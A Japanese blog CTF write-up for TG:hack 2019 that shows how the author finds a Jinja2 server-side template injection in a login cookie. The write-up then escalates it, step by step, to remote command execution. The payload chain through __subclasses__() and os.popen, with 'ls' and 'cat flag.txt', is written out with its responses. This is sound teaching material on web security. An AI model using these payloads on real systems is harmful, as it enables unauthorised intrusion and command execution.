Marsの5εcur1ty備忘録

不定期的にCTF、脆弱性検証、バグバウンティレポート分析など、情報セキュリティを中心とした技術ブログを更新します。

Server Side Template Injection | TG:hack 2019 writeup

f:id:z773733850:20190421214310p:plain

問題文を見る限りでは、魔法の世界へようこそとか魔法使いになろう!とか中二病くさくてよく分からない内容しか書かれていませんが、
結局言いたいのは、このサイトに何らかの脆弱性があるということです。

どんな脆弱性でしょうか。とりあえずサイトにアクセスして見てみましょう。 f:id:z773733850:20190421214407p:plain

ログイン画面に入りました。早速ソースコードを確認します。 f:id:z773733850:20190421214413p:plain

hiddenにされたタグがありましたね。ディベロッパーツールでtextに変えてやりましょう。
f:id:z773733850:20190421214428p:plain

お、新しい入力欄が出てきました! この入力欄をいじればフラグが出てくるんでしょうかね(現実はそう甘くはない(@@;))

f:id:z773733850:20190421214527p:plain

ここで、クロスサイトスクリプティングを試してみました。

f:id:z773733850:20190421214439p:plain

No Magic Detectedというタイトルのページに入りましたが、魔法が失敗したのか(汗)
ソースコードを見ても特に何も発見しませんでした。

では、SQLインジェクションを試してみます。

f:id:z773733850:20190421214517p:plain
魔法なし!

SSTIはどうでしょう。 f:id:z773733850:20190421214256p:plain 魔法なし!

usernameに対してもテストしました。 f:id:z773733850:20190421214500p:plain f:id:z773733850:20190421214452p:plain f:id:z773733850:20190421214509p:plain すべて魔法なしでした。

考え方変えてみます。
隠されたinputタグの初期値は0になっているので、1に変えてみるとどうなるでしょうか。 f:id:z773733850:20190421214314p:plain

f:id:z773733850:20190421214300p:plain

ログイン成功!usernameは自分が設定したadminになっています。

ソースコードはこんな感じです。
f:id:z773733850:20190421214308p:plain

とりあえず先ほどと同じく3パターンの攻撃を試します。

f:id:z773733850:20190421214505p:plain

何も起きませんでした。
HTTPパケットの詳細を見ると、
f:id:z773733850:20190421214400p:plain

' " < > などの記号が別の文字に置き換えられているようです。

ここまで来ると問題の意図が分からなくなってしまいました。 ここでいろいろ考えました。(Overthinking)
リクエスト方式をOPTIONSにしたり、
f:id:z773733850:20190421214328p:plain

シェルショックを試したり、
f:id:z773733850:20190421214339p:plain

URLの部分で不正文字を検査したり、 f:id:z773733850:20190421214334p:plain

あらゆる方法を使いましたが、脆弱な箇所がなかなか見つかりません。

残りはクッキーだけ。
一応クッキーを確認すると、usernameというクッキーの名前がadminになっていることが確認できます。(login画面で入力した内容次第で人それぞれかもしれません)
f:id:z773733850:20190421214532p:plain

クロスサイトスクリプティングのコードを入力すると、なんか出てきました! f:id:z773733850:20190421214522p:plain

しかし、フラグはありません。JavaScriptの出力内容をdocument.cookieにしてもクッキーが返されるだけです。
クッキーを変えると、その直後に変わるのは画面の左上のusernameの部分ですので、コメントを残して他人にアクセスさせるようなことはできません。
つまり、CSRF、反射型XSSによるセッションハイジャックは考えにくいです。

引き続きクッキーusernameを{{7*7}}に変更しました。
f:id:z773733850:20190421230539p:plain f:id:z773733850:20190421214447p:plain f:id:z773733850:20190421214456p:plain usernameが49になりましたので、魔法が効いたようですね。
またこのパターンキタァ!(XSSとSSTIの同時出現)と思いながら、確かにXSSとSSTI脆弱性が同時に存在することがよくあることです。
同じような問題は、ここにもあります。興味のある方はこの問題と比較してみると良いでしょう。

ctftime.org

{{config}}
↑ 一応念のため、config情報を確認しました。フラグがありませんでした。

結局この問題は、SSTIの脆弱性を利用してRemote Command Excecutionを行わなければならないですね。 (シェルコマンドを実行したい) コマンドを実行するモジュールを探すにはまず、テンプレートエンジンを特定します。この図に従って特定します。
f:id:z773733850:20190421235724p:plain

Source: What is Server Side Template Injection (SSTI)? • Penetration Testing

テンプレートエンジンとは?
テンプレートエンジンはテンプレートと呼ばれる雛形と、あるデータモデルで表現される入力データを合成し、成果ドキュメントを出力するソフトウェアまたはソフトウェアコンポーネントである。(Wikipedia: テンプレートエンジン - Wikipedia )

f:id:z773733850:20190422000520p:plain

結果はJinja2, Twigのいずれかとありますが、49であればTwig、7777777であればJinja2。
なのでテンプレートエンジンはJinja2です。

Jinja2とは? Jinja2 is a modern day templating language for Python developers. It was made after Django's template. It is used to create HTML, XML or other markup formats that are returned to the user via an HTTP request.
Source: Jinja2 Explained in 5 Minutes! – codeburst

Jinja2 Source Code:

github.com

ここから順番にシェルコマンドを実行できるモジュールを探していきます。 手順としては、以下のようになります。
Step1:
Request: Cookie: username={{[].__class__}}
Response: <class 'list'>

pythonでは、現在のPython環境で継承されたオブジェクトのツリーをmroまたはmro()で表示させることができ、

subclassesを使用するとサブクラスの参照リストを返します。

class.mro This attribute is a tuple of classes that are considered when looking for base classes during method resolution.

class.mro() This method can be overridden by a metaclass to customize the method resolution order for its instances. It is called at class instantiation, and its result is stored in mro.

class.subclasses() Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. Example:

Source: [https://docs.python.org/3/library/stdtypes.html?highlight=subclasses#class.mro:title]


Step2:
Request: Cookie: username={{[].__class__.__mro__}}
Response: (<class 'list'>, <class 'object'>)

タプルの中の要素が2個です。クラスobjectの中身を見てみたいです。

Step3:
Request: Cookie: username={{[].__class__.__mro__[1]}}
Response: <class 'object'>

これでクラスobjectに入りました。

Step3:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()}}
Response:
f:id:z773733850:20190422014849p:plain

この中で、ファイル読み書きに関わるのがcodecs.StreamReaderWriterというサブクラスです。

StreamReaderWriter オブジェクト
StreamReaderWriter は、読み書き両方に使えるストリームをラップできる便利なクラスです。

Source: 7.2. codecs --- codec レジストリと基底クラス — Python 3.6.8 ドキュメント

これは、リストの93番目の要素です。

Step4:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93]}}
Response: <class 'codecs.StreamReaderWriter'>

場所は間違いないので、Step5へ。

Step5:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__}}
Response: <function StreamReaderWriter.__init__ at 0x7fb0d7ca69d8>

StreamReaderWriter.init関数が見つかりました。

Step6:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"]}}
Response: <module 'sys' (built-in)>

sysモジュールが見つかりました。

Step7:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"]}}
Response: <module 'os' from '/usr/local/lib/python3.6/os.py'>

やっとコマンドを実行できるos.pyの場所にたどり着きました。os.pyのpopen関数を使います。

Step8:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen("ls").read()}}
Response: flag.txt main.py requirements.txt

Step9:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen("cat flag.txt").read()}}
Response: TG19{templates_make_a_better_chat}

f:id:z773733850:20190422021401p:plain

f:id:z773733850:20190421214435p:plain

SSTI Cheat sheet:

pequalsnp-team.github.io

Copyright Mars 2019